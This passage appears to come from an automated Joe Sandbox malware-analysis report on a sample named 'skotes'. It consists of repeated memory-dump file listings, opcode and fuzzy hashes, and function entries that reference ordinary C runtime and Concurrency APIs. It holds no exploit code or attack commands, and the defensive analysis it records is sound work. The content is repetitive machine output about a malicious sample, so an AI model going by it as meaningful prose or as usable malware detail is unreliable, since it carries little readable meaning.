Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: List$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1288476792-1680012138
Opcode ID: e5d73774f412d908101dda696ee45423701c68821cff0969ae88e069d2a07ea0
Instruction ID: 5eb2d8bcc83355edcadcda3459e94d8dcf2e36169295d5383ccf6d9f11b71b25
Opcode Fuzzy Hash: e5d73774f412d908101dda696ee45423701c68821cff0969ae88e069d2a07ea0
Instruction Fuzzy Hash: 2D112975540204E7DB24EBA5CC56FEF37686F00708F20851BF505B62C1DB78A904C669

Function 004DA0EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 004DA102
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 004DA126
std::invalid_argument::invalid_argument.LIBCONCRT ref: 004DA139

Strings

pScheduler, xrefs: 004DA131

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: 5e5f2850cb27d7d9fc840cbf8f8f5a8e137534291c79a49b2c2fa8448b217736
Instruction ID: 011a485d4339615c78af7986b455f60c3c1a6b03fae2f5f45dc36059a33eea2d
Opcode Fuzzy Hash: 5e5f2850cb27d7d9fc840cbf8f8f5a8e137534291c79a49b2c2fa8448b217736
Instruction Fuzzy Hash: 39F05935A00604E7C720FE55DCA3C9EB778AF80718B20852FE806573C1DB78AE06C69A

Function 004F67A9 Relevance: 6.2, APIs: 4, Instructions: 245COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 004F6902
__alloca_probe_16.LIBCMT ref: 004F6998
__freea.LIBCMT ref: 004F6A03
__freea.LIBCMT ref: 004F6A0F

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea
String ID:
API String ID: 1635606685-0
Opcode ID: 01540b2d18c974f335e8739d79fb62527d0b4a83db6429431f9805e0b43d2244
Instruction ID: 2aea8b3d5595cd1f43511c2a902b92e48c9f3d53b51ae0e500ad195d6a11364e
Opcode Fuzzy Hash: 01540b2d18c974f335e8739d79fb62527d0b4a83db6429431f9805e0b43d2244
Instruction Fuzzy Hash: 5081D172D0024DAADF20AE658841EFF7BB9DF4A354F1A415FEA04B7241D739CC058BA9

Function 004E504E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 004E5115
___AdjustPointer.LIBCMT ref: 004E5138
___AdjustPointer.LIBCMT ref: 004E51D4

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 0dd1a7a5de1ccd8a264cf61cba3264e900bb4ad25c1be383a02555ab794186ce
Instruction ID: 454c0cfeade7edc499ea5212cbe9402ac3e79bccc3f36ce749035b0edb0c3297
Opcode Fuzzy Hash: 0dd1a7a5de1ccd8a264cf61cba3264e900bb4ad25c1be383a02555ab794186ce
Instruction Fuzzy Hash: DF511471A01A86AFDB258F17D841B7BB3B5EF1030AF14452FE80187291E779ED41CB99

Function 004E4C15 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 004E4C66
TypeidsEqual.LIBVCRUNTIME ref: 004E4C8B
PMDtoOffset.LIBCMT ref: 004E4CA1
PMDtoOffset.LIBCMT ref: 004E4D22

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction ID: 8ad41f2cee02ccbe1d223ca5f706be4fca757941f0d23630c2aaed80a36636fa
Opcode Fuzzy Hash: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction Fuzzy Hash: C251BD35E042899FDF10CF6AC880AEEBBF4EF85355F14449BE850A7350D33AAA05CB54

Function 004DDB30 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 004DDB64

Part of subcall function 004D8F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 004D8F50

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 004DDBC3
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 004DDBE9
Concurrency::location::_Assign.LIBCMT ref: 004DDC56

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
